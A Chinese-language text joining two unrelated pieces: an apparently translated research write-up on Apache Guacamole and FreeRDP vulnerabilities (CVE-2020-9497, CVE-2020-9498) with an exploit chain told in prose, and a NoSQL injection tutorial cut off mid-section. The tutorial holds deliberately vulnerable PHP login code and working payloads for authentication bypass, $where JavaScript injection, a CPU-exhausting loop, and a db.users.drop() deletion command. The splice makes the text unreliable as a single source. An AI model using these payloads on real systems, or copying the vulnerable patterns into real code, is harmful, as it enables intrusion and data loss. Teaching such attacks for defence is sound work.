在这个简短的视频演示中，我们展示了如何设法利用这些漏洞并成功控制 **Guacamole** 网关和所有连接的会话：
<https://youtu.be/vm8i9jJ2Np0>
## 介绍 Apache Guacamole
我们决定将远程工作的技术解决方案作为一个有趣的研究课题。事实上，我们的 IT 部门立即恳请我们审查一个这样的解决方案： **Apache
Guacamole** 。如前所述，它是市场上较为突出的工具之一。不仅许多组织使用该产品连接到他们的网络，许多网络和安全产品也在他们自己的产品中嵌入了
**Apache Guacamole** 。包括： **Jumpserver Fortress、Quali、Fortigate** 等等。
经过一番摸索，我们画出了推荐的网络架构的基本草图，如图1所示：
**图 1：** 部署 **Apache Guacamole** 网关的典型网络架构。
从本质上讲，员工使用浏览器连接到公司面向 **Internet**
的服务器，通过身份验证过程，然后访问他的公司计算机。当员工只使用他的浏览器时，guacamole服务器会选择一种支持的协议（ **RDP、VNC、SSH**
等）并使用开源客户端连接到特定的公司计算机。连接后，guacamole服务器充当中间人，在将事件从所选协议转换为特殊的“guacamole协议”时来回中继事件，反之亦然。
现在我们了解了架构，还有一些有希望的攻击向量需要检查：
**1、反向攻击场景：企业网络内的一台受感染机器利用传入的良性连接攻击网关，旨在接管它。**
**2、恶意员工场景：一名恶意员工使用网络内的计算机来利用他对连接两端的控制并控制网关。**
## 我们需要一个 0-Day 吗？
在我们深入研究代码之前，让我们简要地关注一下 **FreeRDP** 。在我们之前对反向 **RDP** 攻击的研究中，我们发现了这个 **RDP**
客户端中的几个关键漏洞，使其暴露在恶意 **RDP** “服务器”的攻击之下。换句话说，恶意公司计算机可以控制连接到它的毫无防备的 **FreeRDP**
客户端。我们甚至为我们的一个漏洞 ( **CVE-2018-8786** ) 提供了一个基本的 PoC，并且我们已经演示了远程代码执行。
通过查看 **Apache Guacamole** 已发布的版本，我们可以看到只有 2020 年 1 月底发布的 1.1.0 版本增加了对最新
**FreeRDP** 版本（2.0.0）的支持。知道我们在 **FreeRDP** 中的漏洞仅在 2.0.0-rc4 版本上进行了修补，这意味着2020
年 1 月之前发布的所有版本都使用易受攻击的 **FreeRDP** 版本。
我们本可以在这里停下来，估计大多数公司尚未升级到最新版本的可能性很高，并且可能已经使用这些已知的 1-Days 进行了攻击。但是，我们决定再次搜索 RDP
协议中的漏洞，更具体地说：
**1、guacamole-server的代码，同时只关注对RDP协议的支持。**
**2、最新发布的 FreeRDP 版本代码：2.0.0-rc4 版。**
最重要的是，我们的利用条件是它能够在默认安装上工作，仅使用默认启用的功能，并且希望不需要来自客户端的任何交互。开始吧。
## 寻找新的漏洞
熟悉 **FreeRDP** 的代码，以及整个 **RDP** ，在这次安全审计中真的很有帮助。我们很快就开始寻找漏洞。
### CPR-ID-2141 – 我们的第一个信息泄露漏洞
**CVE： CVE-2020-9497**
**文件：** protocols\rdp\channels\rdpsnd\rdpsnd-messages.c
**功能：** guac_rdpsnd_formats_handler()
**旁注：** 由于 **Apache** 没有使用我们报告的漏洞 (CPR-ID) 和他们发布的 CVE-ID 之间的 1:1
映射，我们将主要参考漏洞通过他们的（更准确的）CPR-ID
为了在 **RDP** 连接和客户端之间中继消息，开发人员为默认 **RDP**
通道实现了他们自己的扩展。一个这样的通道负责来自服务器的音频，因此毫不奇怪地称为rdpsnd（ **RDP** 声音）。
然而，通常情况下， **guacamole-server** 和 **FreeRDP** 之间的集成点被证明是容易出错的。传入的消息由 FreeRDP 的
**wStream** 对象包装，并且应使用此对象的 API 解析数据。但是，如图 2
所示，开发人员忘记强制传入流对象必须包含与数据包声明的字节数匹配的字节数。
**图 2：** 缺少输入过滤导致越界读取。
通过发送恶意的rdpsnd通道消息，恶意的 **RDP**
服务器可能会导致客户端认为该数据包包含大量字节，这些字节实际上是客户端本身的内存字节。这反过来会导致客户端用这些字节向服务器发回响应，并给 **RDP**
服务器一个大量的、心脏出血式的信息泄露原语。
### **CPR-ID-2142 – 再次信息泄露**
**CVE：** CVE-2020-9497
**文件：** protocols\rdp\channels\rdpsnd\rdpsnd.c
**功能：** guac_rdpsnd_process_receive()
在同一个 RDP 通道中，不同的消息具有类似的漏洞。这次它将越界数据发送到连接的客户端，而不是返回到 RDP 服务器。
**图 3：** 类似的越界读取，这次是将数据泄露给客户端。
虽然有用，但这种泄露会将信息发送给客户端，我们希望在客户端甚至不知道网关受到攻击的情况下构建漏洞。
### **CPR-ID-2143 – 仍然是，信息泄露**
**CVE： CVE-2020-9497**
**文件：** protocols\rdp\plugins\guacai\guacai-messages.c
**功能：** guac_rdp_ai_read_format()
我们很想找到一个额外的频道guacai，负责声音信息。该通道负责“音频输入”，因此得名guacai。尽管容易受到与前一个频道大致相同的漏洞的影响，但默认情况下该频道是禁用的。
**图 4：** 另一个越界读取，就像第一个一样。
在我们研究的这一点上，我们发现了 3 个主要的信息泄露漏洞，这对于绕过
ASLR（地址空间布局随机化）应该绰绰有余。然而，我们仍然需要一个内存损坏漏洞来完成我们的漏洞利用链。感觉卡住了，我们又去看看
FreeRDP，希望能找到我们之前研究中可能遗漏的漏洞。
## FreeRDP，我们的老朋友
自从我们上次查看 RDP
客户端以来，没有对其进行太多更改；补丁版本仍然是迄今为止发布的最新版本。在寻找漏洞时总是如此，让我们首先了解wStream该客户端使用的类型中的一个关键设计“功能”
。在图 5 中，我们可以看到这个结构体的字段：
**图5：** 该wStream对象，用来包裹传入/传出分组。
这是一个简单的流包装器的经典示例：
**buffer – 指向接收包开始的指针。**
**pointer – 指向接收数据包内的读取头的指针。**
**length – 传入数据包的大小，以字节为单位。**
在从输入流解析给定字段之前，应进行检查以确保流足够大以容纳它。这样的检查可以在图 6 中看到：
**图 6：** 检查可用输入，使用Stream_GetRemainingLength().
我们再怎么强调这个输入检查的重要性都不为过。每次解析或跳过字段时，指针字段都会相应地前进。稍后，当执行下一次检查时，它看起来像这样：
**图 7：** 使用当前流的头部计算剩余长度。
一旦指针字段通过传入数据包的末尾，此计算将下溢，从而返回一个巨大的无符号值，该值应表示剩余的负字节数。总之，漏了一个检查，剩下的就没用了。正如我们很快发现的那样，这种有趣的设计选择使
FreeRDP极易受到越界读取漏洞的影响。
在我们介绍这些越界读取漏洞之前，重要的是要注意我们为什么关心它们。通常，读取只有在以某种方式将读取的字节返回给攻击者时才有用。否则，读取只能用作在尝试访问内存中未映射的页面时使程序崩溃的一种方式。
**Apache Guacamole** 攻击场景很特别，因为我们拥有连接的两端。例如，如果内存字节被解析为屏幕的图形更新，这些更新仍将发送到连接的客户端。
在这种攻击场景中，每个越界读取漏洞都可能变成一个弱但仍然有用的信息披露。
### **CPR-ID-2145 和 CPR-ID-2146 – FreeRDP 中的越界读取**
记住wStream对象中有趣的设计缺陷，我们所要做的就是寻找不受检查支持的读取操作。这很有效，我们发现了两个这样的漏洞： **CPR-ID-2145** 和
**CPR-ID-2146** 。
但是，在向供应商报告它们时，我们发现它们都已经被两个不同的小组报告了。由于这些是重复的，即使我们仅在几个小时后提交了它们，也应该将它们归于合法的研究人员。
因此，我们决定让其他团队展示他们的发现更为合适，并从我们的博客文章中删除了有关他们的详细信息。
## 我们需要一个内存损坏......
此时，我们发现了 5 个漏洞，这些漏洞可以作为我们攻击中的信息披露利用原语。但是，我们甚至还没有发现一个内存损坏漏洞。在 FreeRDP
中寻找此类漏洞非常烦人，因为每次我们有线索时，检查都会阻止它。很多时候，这个检查是针对我们报告的漏洞的补丁，所以我们真的不能抱怨太多。
**Zensploitation Twitter**
([@zensploitation](https://twitter.com/zensploitation
"@zensploitation"))中的这篇帖子几乎总结了我们在研究中此时的感受：
**图 8：**<https://twitter.com/zensploitation/status/1244598246879547393>
在这一点上，我们认为我们已经走得太远了，不能简单地放弃。我们决定再看一遍guacamole服务器，这一次我们收获颇丰。
### **CPR-ID-2144 – 最后，内存损坏**
**CVE： CVE-2020-9498**
**文件：** protocols\rdp\plugins\guac-common-svc\guac-common-svc.c
**功能：** guac_rdp_common_svc_handle_open_event()
RDP
协议将不同的“设备”公开为单独的“通道”，每个设备一个。这些包括rdpsnd声音通道、cliprdr剪贴板通道等等。作为一个抽象层，通道消息支持分片，允许它们的消息长达
4GB。为了正确支持rdpsnd和rdpdr（设备重定向）通道，guacamole-server
的开发人员添加了一个额外的抽象层，在文件中实现：guac_common_svc.c.图 9 显示了在此文件中实现的碎片处理：
**图 9：** 处理传入的通道片段。
我们可以看到第一个片段必须包含该CHANNEL_FLAG_FIRST片段，并且在处理时根据总消息的总声明长度分配一个流。
但是，如果攻击者发送没有此标志的片段会发生什么？它似乎只是简单地附加到以前的剩余流中。在这一点上，这看起来是一个很有前途的 Dangling-Pointer
漏洞。现在我们只需要检查开发人员是否记得将其设置NULL为前一个碎片消息完成处理时。
**图 10：** 在不清除悬空指针的情况下释放使用的流。
图 10 清楚地表明，在碎片消息完成重组并继续解析后，它被释放。就是这样。没有人将悬空指针设置为NULL!
恶意 RDP 服务器可能会发送使用先前释放的wStream对象的乱序消息片段，从而有效地成为一个 Use-After-Free
漏洞。最重要的是，这wStream是我们希望为此类漏洞获得的最强大的对象，因为如果将指针字段设置为所需的内存地址，它可以用于任意写入。最重要的是，rdpsnd在我们损坏的wStream对象被使用后，我们在通道中有一个有用的信息泄露漏洞。通过一些努力，一个特制的wStream对象可以将我们的原始漏洞变成一个更强大的任意读取漏洞利用原语。
## 最后，远程代码执行 (RCE)
如前所述，通过使用漏洞 **CVE-2020-9497** 和 **CVE-2020-9498**
，我们设法实现了我们的任意读取和任意写入漏洞利用原语。使用这两个强大的原语，我们成功实现了远程代码执行漏洞利用，其中guacd当远程用户请求连接到他的（受感染）计算机时，恶意公司计算机（我们的
**RDP** “服务器”）可以控制进程。
**图 11** ：漏洞利用截图——从接管guacd过程中弹出一个计算。
但并没有就此结束。该guacd进程仅处理单个连接并以低权限运行。传统上，此时我们需要一个权限提升漏洞来接管整个网关。事实上，在与 **Apache**
协调披露期间，维护人员提出的问题之一是这种攻击场景是否真的可能发生。我们能否以某种方式仅从一个guacd进程接管网关中的所有连接？
让我们来了解一下。
## Apache Guacamole – 深入探讨
如果我们深入研究我们之前看到的 **Guacamole** 网关的网络架构，我们会看到以下内容：
**图 12： Apache Guacamole** 架构的重点视图。
对于权限提升，我们的重点是以下两个组成部分：
* **guacamole-client – 标记为Web Server。**
* **guacamole-server – 标记为Proxy。**
### guacamole客户端
guacamole-client 组件负责执行用户身份验证的 Web 服务器。该 Web 服务器保存每个用户会话所需的配置，存储如下信息：
**通缉协议——通常是 RDP。**
**网络内工作人员 PC 的 IP 地址。**
等等。
客户端成功通过身份验证后， **guacamole-client** 与 **guacamole-server** 发起 **Guacamole**
协议会话，为客户端创建匹配会话。这是通过连接到guacd进程正在侦听的 **TCP** 端口 **4822** （默认情况下）上的 **guacamole-server** 来完成的。
创建会话后， **guacamole-client** 仅在 **guacamole-server** 和客户端浏览器之间来回传递信息。
### guacamole服务器
根据 **Apache** 的文档：“ **guacd** 是 **Guacamole** 的核心。” 启动时， **guacd** 侦听 **TCP**
端口 **4822** 并等待来自 **guacamole-client** 的传入指令。请务必注意，此端口上的通信不使用身份验证或加密（可以启用
SSL，但它不是默认设置）。为此，我们在图 12 中添加了两个防火墙，它们应该负责限制对这个 TCP 端口的访问，只允许 **guacamole-client** 连接。
建立连接后， **guacd** 创建一个新线程并调用负责启动 **Guacamole** 协议的函数。此时，有两个用户选项：
**创建新连接。**
**加入现有连接** 。
**旁注：** 我们使用术语 **connection** 而不是 **session** ，因为这是 **Guacamole**
用来指代与给定计算机的连接的术语。每台计算机都有一个连接，多个用户可以共享同一个连接。没有“用户会话”，因为整个设计基于与给定计算机的
**Guacamole** 连接，用户只需加入连接即可。
第一种选择是迄今为止使用最广泛的。在这种情况下，会为新创建的连接生成一个随机唯一id ( **UUID** )，并为其生成一个fork()ed 进程。
**UUID** 和新进程之间的映射存储在一个名为的内存字典中proc-map，并且 **UUID** 被发送回 **guacamole**
客户端。需要注意的是，生成的进程会在启动与网络内部计算机的连接之前立即放弃其权限。
第二个选项非常独特，可能是为了让多个用户可以共享一个连接并一起工作而实现的。在这种情况下，用户通过提供连接的 **UUID**
请求加入现有连接。为了区分用户，创建连接的用户是“所有者”，其他用户将“所有者”设置为false。此选项还包括为未标记为“所有者”的用户建立只读连接的可能性。
**图 13：** 添加新用户并将过程存储在 中proc-map以允许其他人加入。
为了支持加入用户，给定连接的衍生进程继承了用于与父guacd进程通信的套接字对。当主线程初始化所需的客户端时，例如，用于 **RDP** 连接的
**FreeRDP** ，另一个线程等待来自父进程的消息，向我们的进程发出新用户要求加入连接的信号。
该guacd进程充当产生每个连接进程的连接管理器，同时也为这些产生的进程实现核心逻辑。因此，从现在开始，我们将父guacd进程称为主进程。
## 权限提升 – 分步
**步骤 0 – 接管单个 guacd 进程**
我们已经有了这部分的有效利用。
**步骤 1 – 伪装成guacamole客户**
虽然guacd我们控制的进程只是在网关内运行的低权限进程，但它仍然具有一些有用的权限。首先，在网关上运行使我们能够通过 **TCP** 端口
**4822** 连接到主进程。由于主进程不希望通过此端口进行身份验证，因此没有什么可以阻止我们像普通的guacamole客户端一样连接到它并控制进程.
**步骤 2 – 从我们的记忆中获取秘密**
这是我们要利用的关键设计选择。由于guacd可执行文件包含主进程和每个连接进程的逻辑，因此当产生新的连接进程时，只fork()使用它。这句话值得重复：只
fork()使用，不使用execve()！
这是什么意思？分叉进程包含其父进程的整个内存快照，并且在execve()调用时该快照将替换为新映像。如果没有这个关键调用，子进程将继承其父进程的整个内存地址空间。这包括：
**全内存布局——当我们想要攻击父进程时，对于绕过 ASLR 很有用。**
**完整的内存内容——存储在主进程中的每个秘密也被提供给子进程。**
这意味着我们的进程具有proc-map映射每个秘密连接 **UUID**
到其各自进程的映射。我们只需要在我们的内存中找到这个数据结构，我们就会拥有所有当前活动的 **UUID** 。
定位 **proc-map** 本身纯粹是技术性的。在我们的漏洞利用中，我们通过从`/proc/<pid>/maps.`
数据结构如此之大，以至于被mmap()分配到独立的内存分配中，因此它在文件中有自己的条目。
**步骤 3 – 加入所有会话**
我们已经让主要流程确信我们可以发起 **Guacamole** 协议请求，现在我们甚至知道要请求哪些请求。我们的下一步是通过提供它们现在已知的 UUID
来请求加入每个现有连接。
**图 14：** 标记我们成功加入现有连接的日志条目。
令人惊讶的是，“只读”会话属性是由 **guacamole-client**
设置的。这意味着虽然我们不是连接的所有者，但我们仍然可以为加入的用户关闭“只读”权限位并获得连接的完全权限。此外，除了主进程中的日志消息（如图 14
所示）之外，没有其他用户刚刚加入连接的可见迹象。
**步骤 4 – 重复**
如果您密切关注，您可能已经注意到我们的攻击计划中的一个缺点：我们的guacd过程有一个过时的proc-map映射图像。在我们生成后开始的任何会话只会在真实中更新proc-map，因此在我们过时的内存映像中将不可用。
这个缺点有一个简单的解决方案。每个选定的时间间隔，比如 5 分钟，我们都可以向主进程发送命令以启动新的 **RDP**
连接并连接到网络内受感染的机器。这样，guacd就会产生一个新的，并且现在拥有更新版本的proc-map.
使用我们的原始漏洞，我们也可以攻击这个过程，并“刷新”我们的proc-map.
当链接在一起时，这里是完整的漏洞利用链， **RCE + PE** ，正在运行： <https://youtu.be/vm8i9jJ2Np0>
## 披露时间表
**2020** 年 **3** 月 **31** 日 – 向 **Apache** 披露了漏洞。
**2020** 年 **3** 月 **31** 日 – **Apache** 做出回应并要求提供更多信息。
**2020** 年 **3** 月 **31** 日 – 向 **FreeRDP** 披露了漏洞。
**2020** 年 **3** 月 **31** 日 – **FreeRDP** 做出回应并要求提供更多信息。
**2020** 年 **3** 月 **31** 日—— **FreeRDP** 通知我们 **CPR-ID-2145** 和 **CPR-ID-2156** 是重复的，因为它们已经在 **2020** 年 **3** 月 **30** 日单独报告过。（我们运气不好。）
**2020** 年 **5** 月 **8** 日 – **Apache** 在推送到其 **GitHub** 的静默提交中修补了漏洞。
**2020** 年 **5** 月 **10** 日 – 我们通知 **Apache** ，他们的补丁修复了所有报告的漏洞。
**2020** 年 **5** 月 **12** 日 – **Apache** 向报告的 **4** 个漏洞发布了 **2** 个 **CVE-ID**
。
**2020** 年 **6** 月 **28** 日 – **Apache** 发布了官方补丁版本 – **1.2.0** 。
## 结论
我们展示了反向 RDP 攻击场景的新角度，这是我们最初在 **2019** 年初提出的攻击场景。虽然用户通常认为 **RDP**
客户端……嗯……作为客户端，但 **Apache Guacamole**
场景告诉我们其他情况。在标准情况下，攻击者可以利用客户端中的漏洞来控制单个公司计算机。但是，当部署在网关内时，此类漏洞对组织的影响要严重得多。
虽然在 **COVID-19** 大流行的艰难时期，在家远程工作的过渡是必要的，但我们不能忽视这种远程连接的安全影响。使用 **Apache
Guacamole**
作为我们的示例目标，我们能够成功演示如何使用组织内部的受感染计算机来控制处理所有远程会话到网络的网关。一旦控制了网关，攻击者就可以窃听所有传入会话，记录所有使用的凭据，甚至启动新会话以控制组织内的其余计算机。当大部分组织都在远程工作时，这个立足点就相当于获得了
**对整个组织网络的完全控制权。**
我们强烈建议每个人确保所有服务器都是最新的，并且任何用于在家工作的技术都经过全面修补以阻止此类攻击企图。在我们的案例中，在发现漏洞并证明它们确实可以利用后的
24 小时内，我们实施了安全修复程序，并成为第一个针对此安全漏洞进行保护的生产环境，从而确保我们的员工可以安全地远程连接。
* * * | 社区文章 |
# Nosql 注入学习总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Nosql 注入的简介
NoSQL 注入由于 NoSQL 本身的特性和传统的 SQL
注入有所区别。使用传统的SQL注入，攻击者利用不安全的用户输入来修改或替换应用程序发送到数据库引擎的 SQL 查询语句（或其他SQL语句）。
换句话说，SQL 注入使攻击者可以在数据库中 SQL 执行命令。
与关系数据库不同，NoSQL 数据库不使用通用查询语言。NoSQL
查询语法是特定于产品的，查询是使用应用程序的编程语言编写的：PHP，JavaScript，Python，Java
等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令，而且可以在应用程序本身中执行命令，这可能更加危险。
以下是 OWASP 对于 Nosql 注入的介绍：
> NoSQL databases provide looser consistency restrictions than traditional SQL
> databases. By requiring fewer relational constraints and consistency checks,
> NoSQL databases often offer performance and scaling benefits. Yet these
> databases are still potentially vulnerable to injection attacks, even if
> they aren’t using the traditional SQL syntax. Because these NoSQL injection
> attacks may execute within a [procedural
> language](https://en.wikipedia.org/wiki/Procedural_programming), rather than
> in the [declarative SQL
> language](https://en.wikipedia.org/wiki/Declarative_programming), the
> potential impacts are greater than traditional SQL injection.
>
> NoSQL database calls are written in the application’s programming language,
> a custom API call, or formatted according to a common convention (such as
> `XML`, `JSON`, `LINQ`, etc). Malicious input targeting those specifications
> may not trigger the primarily application sanitization checks. For example,
> filtering out common HTML special characters such as `< > & ;` will not
> prevent attacks against a JSON API, where special characters include `/ { }
> :`.
## NoSQL 注入的分类
有两种 NoSQL 注入分类的方式：
第一种是按照语言的分类，可以分为：PHP 数组注入，JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类，可以分为：重言式注入，联合查询注入，JavaScript 注入、盲注等，这种分类方式很像传统 SQL 注入的分类方式。
* **重言式注入**
又称为永真式，此类攻击是在条件语句中注入代码，使生成的表达式判定结果永远为真，从而绕过认证或访问机制。
* **联合查询注入**
联合查询是一种众所周知的 SQL 注入技术，攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
* **JavaScript 注入**
MongoDB Server 支持 JavaScript，这使得在数据引擎进行复杂事务和查询成为可能，但是传递不干净的用户输入到这些查询中可以注入任意的
JavaScript 代码，导致非法的数据获取或篡改。
* **盲注**
当页面没有回显时，那么我们可以通过 `$regex` 正则表达式来达到和传统 SQL 注入中 `substr()` 函数相同的功能，而且 NoSQL
用到的基本上都是布尔盲注。
下面我们便通过 PHP 和 Nodejs 来讲解 MongoDB 注入的利用方式。
## PHP 中的 MongoDB 注入
**测试环境如下：**
* Ubuntu
* PHP 7.4.21
* MongoDB Server 4.4.7
在 PHP 中使用 MongoDB 你必须使用 MongoDB 的 PHP
驱动：<https://pecl.php.net/package/mongodb> 。这里我们使用新版的 PHP 驱动来操作 MongoDB。一下实例均以
POST 请求方式为例。
### 重言式注入
首先在 MongoDB 中选中 test 数据库，创建一个 users 集合并插入文档数据：
> use test
switched to db test
>
> db.createCollection('users')
{ "ok" : 1 }
>
> db.users.insert({username: 'admin', password: '123456'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'whoami', password: '657260'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bunny', password: '964795'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bob', password: '965379'})
WriteResult({ "nInserted" : 1 })
>
然后编写 index.php：
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
如下，当正常用户想要登陆 whoami 用户时，POST 方法提交的数据如下：
username=whoami&password=657260
进入 PHP 后的程序数据如下：
array(
'username' => 'whoami',
'password' => '657260'
)
进入 MongoDB 后执行的查询命令为：
> db.users.find({'username':'whoami', 'password':'657260'})
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
我们从代码中可以看出，这里对用户输入没有做任何过滤与校验，那么我们可以通过 `$ne` 关键字构造一个永真的条件就可以完成 NoSQL 注入：
username[$ne]=1&password[$ne]=1
如下图所示，成功查出所有的用户信息，说明成功注入了一个永真查询条件：
提交的数据进入 PHP 后的数据如下：
array(
'username' => array('$ne' => 1),
'password' => array('$ne' => 1)
)
进入 MongoDB 后执行的查询命令为：
> db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }
由于 users 集合中 username 和 password 都不等于 1，所以将所有的文档数据查出，这很可能是真实的，并且可能允许攻击者绕过身份验证。
对于 PHP 本身的特性而言，由于其松散的数组特性，导致如果我们发送 `value=1` 那么，也就是发送了一个 `value` 的值为 1
的数据。如果发送 `value[$ne]=1` 则 PHP 会将其转换为数组 `value=array($ne=>1)`，当数据到了进入 MongoDB
后，原来一个单一的 `{"value":1}` 查询就变成了一个 `{"value":{$ne:1}` 条件查询。同样的，我们也可以使用下面这些作为
payload 进行攻击：
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
这种重言式注入的方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。不仅是 `$ne`，只要可以构造用真条件就可以。
### 联合查询注入
在 MongoDB 之类的流行数据存储中，JSON 查询结构使得联合查询注入攻击变得比较复杂了，但也是可以实现的。
我们都知道，直接对 SQL 查询语句进行字符拼接串容易造成 SQL 注入，NoSQL 也有类似问题。如下实例，假设后端的 MongoDB
查询语句使用了字符串拼接：
string query = "{ username: '" + $username + "', password: '" + $password + "' }"
当用户正确的用户名密码进行登录时，得到的查询语句是应该这样的：
{'username':'admin', 'password':'123456'}
如果此时没有很好地对用户的输入进行过滤或者效验，那攻击者便可以构造如下 payload：
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
拼接入查询语句后相当于执行了：
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}
此时，只要用户名是正确的，这个查询就可以成功。这种手法和 SQL 注入比较相似：
select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))
这样，原本正常的查询语句会被转换为忽略密码的，在无需密码的情况下直接登录用户账号，因为 `()` 内的条件总是永真的。
但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query
对象了，因此这用注入方法简单了解一下就好了。
### JavaScript 注入
MongoDB Server 是支持 JavaScript 的，可以使用 JavaScript 进行一些复杂事务和查询，也允许在查询的时候执行
JavaScript 代码。但是如果传递不干净的用户输入到这些查询中，则可能会注入任意的 JavaScript 代码，导致非法的数据获取或篡改。
**$where 操作符**
首先我们需要了解一下 `$where` 操作符。在 MongoDB 中，`$where` 操作符可以用来执行 JavaScript 代码，将
JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分。在 MongoDB 2.4 之前，通过 `$where` 操作符使用
`map-reduce`、`group` 命令甚至可以访问到 Mongo Shell 中的全局函数和属性，如
`db`，也就是说可以在自定义的函数里获取数据库的所有信息。
如下实例：
> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>
由于使用了 `$where` 关键字，其后面的 JavaScript 将会被执行并返回 “whoami”，然后将查询出 username 为 whoami
的数据。
某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入，例如从变量中 `$userData` 获取查询条件：
db.users.find({ $where: "function(){return(this.username == $userData)}" })
然后，攻击者可能会注入一种恶意的字符串如 `'a'; sleep(5000)` ，此时 MongoDB 执行的查询语句为：
db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })
如果此时服务器有 5 秒钟的延迟则说明注入成功。
此外还有一个类似于 DOS 攻击的方式，可以让服务器 CPU 飙升到 100% 持续 5 秒：
db.users.find({ $where: "(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();" })
下面我们编写 index.php 进行测试：
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'$where' => "function() {if(this.username == '".$username."' && this.password == '".$password."') {return true;}}"
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo '====Login Success====<br>';
echo 'username: '.$user['username']."<br>";
echo 'password: '.$user['password']."<br>";
}
}
else{
echo 'Login Failed';
}
?>
如果此时我们发送以下这几种数据，便可以构造出相当于万能密码的效果：
username='||1) {return true;}})//&password=123456
如下图所示，成功查出所有的用户信息：
这是因为发送 payload 进入 PHP 后的数据如下：
array(
'$where' => "
function() {
if(this.username == ''||1) {return true;}})//' && this.password == '123456') {
return true;
}
}
")
进入 MongoDB 后执行的查询命令为：
> db.users.find({ $where: "function() {if(this.username == ''||1) {return true;}})//' && this.password == '123456') {return true;}}" })
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }
>
我们从代码中可以看出，password 中的 `return true` 使得整个 JavaScript 代码提前结束并返回了
`true`，这样就构造出了一个永真的条件并完成了 NoSQL 注入。
**使用 Command 方法造成的注入**
MongoDB Driver 一般都提供直接执行 Shell 命令的方法，这些方式一般是不推荐使用的，但难免有人为了实现一些复杂的查询去使用。在
MongoDB 的服务器端可以通过 `db.eval` 方法来执行 JavaScript 脚本，如我们可以定义一个 JavaScript 函数，然后通过
`db.eval` 在服务器端来运行。
但是在 PHP 官网中就已经友情提醒了不要这样使用：
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"
$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );
?>
还有人喜欢用 Command 去实现 MongoDB 的 `distinct` 方法，如下：
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$cmd = new MongoDB\Driver\Command( [
'eval' => "db.users.distinct('username',{'username':'$username'})"
] );
$result = $manager->executeCommand('test.users', $cmd)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
这样都是很危险的，因为这个就相当于把 Mongo Shell 开放给了用户，如果此时构造下列 payload：
username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1
则将改变原本的查询语句造成注入。如果当前应用连接数据库的权限恰好很高，我们能干的事情就更多了。
### Nosql 盲注
**重言式布尔盲注**
当页面没有回显时，那么我们可以通过 `$regex` 等正则表达式来构造永真条件进行盲注， `$regex` 可以达到和传统 SQL 注入中
`substr()` 函数相同的功能。
我们用下面的代码演示：
* index.php
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
